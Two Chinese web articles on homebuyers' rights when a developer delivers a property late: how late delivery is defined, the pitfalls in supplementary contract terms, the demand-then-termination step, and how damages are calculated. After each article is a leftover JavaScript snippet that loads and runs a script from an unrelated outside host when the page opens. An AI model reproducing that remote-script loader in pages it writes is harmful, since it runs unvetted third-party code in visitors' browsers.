房子逾期交房的界定以及如何避开其中的陷阱

房子买了，到约定的交房日期，房地产开发商却迟迟不能交房，这样的问题您是否有碰到过呢？房子逾期交房的界定以及如何避开房子逾期交房中的陷阱已经成为很多人心中迫切想知道的问题，那么今天就来谈一谈房子逾期交房的问题吧。一、什么是逾期交房？房子逾期交房依据我国的法律可以分为两种情况，分别是正常逾期交房与非正常逾期交房。那么正常和非正常的判断标准是什么呢？正常房子逾期交房指的是因为施工或者办理相关的政府手续延迟等情况所导致的房屋交房逾期。非正常是指因为房地产公司的经济实力问题或者相关房屋手续违法而导致的无法交房。二、房子逾期交房的陷阱以及如何避免房子逾期交房是房屋买卖的过程中普遍存在的一种情况，那么购房者要如何避免这其中的陷阱呢？以下这几点你必须要注意：首先要注意保留房屋的所有材料，从购房到交房这期间所有的材料都必须要妥善保管，这是关键时刻可以跟房地产开发商打官司的重要凭证。其次要按照契约流程走，例如房地产开发商一直不交房，你想与其解除合同，就必须要先进行催告，催告之后三个月，房地产开发商若依旧没有交房，那么你就拥有了名正言顺的合同解除权。其次签订购房合同时要特别注意合同的补充条款，必要时可以请律师协助。因为在与地产商签订购房合同的时候，合同的正本往往不会出现很大的问题，真正易被开发商钻空子的地方是合同的补充条款。建议可以请专业的律师帮您审阅合同，做到万无一失。以上就是房子逾期交房的界定以及避开房子逾期交房中的陷阱的措施。一旦遇到非正常逾期的情况，购房者可以用法律的武器维护自己合法的权益。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房子逾期交房的判定和违约金的确定

买房子，开发商将不可避免地出现房子逾期交房。本文将为您提供逾期交付和逾期违约的法律处理解析。一、什么是房子逾期交房？房子逾期交房意味着开发商未在购买商品房合同规定的交付期内交付满足条件交付的房屋。房子逾期交房的判定：1、除了法律规定的不可抗力和开发商可以免除责任的原因外，开发商还没有在规定的交货时间内获得工程完工“完工验收记录表”。2、如果有法律规定的不可抗及合同规定开发商可以免除责任的情况，开发商未在约定的时限内通知买方，开发商也需承担逾期违约的责任。3、如果房子不符合签约规定的使用条件。买家可以拒绝接受房子。如果有特殊协议，买方可以退房。如果没有达成协议，开发商将算作房子逾期交房，直至达到使用条件。4、买家和开发商已就住房交付条件签署了补充条款，有特别协议，如果未达成约定的条件，逾期交付的责任将由开发商将承担。二、房子逾期交房怎样赔偿呢？在确认逾期交付后，开发商应承诺继续执行、以采取补救措施或赔偿损失和其他违约责任。如果预售合同中规定了违约赔偿标准，则应按照合同执行。合同未达成一致，根据逾期贷款利息标准确定。合同没有规定房屋的逾期交付时应根据相关部门或有资质的房屋评估机构在预期交付期间评估的同一类土地的租赁标准确定。事实上，对于交房延期的违约金计算的话，我国是有一定的法律可以遵循的。所以本文中为大家解析了相关的法律条例，大家可以根据自己的具体情况来，通过这些法律条例的介绍进行参考。事实上，当本文给大家介绍了这些法律条例的时候，大家就应该明白，如果开发商真的出现了交房延期这个情况的话，我们是可以通过法律途径来维护我们的正常合法权益的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();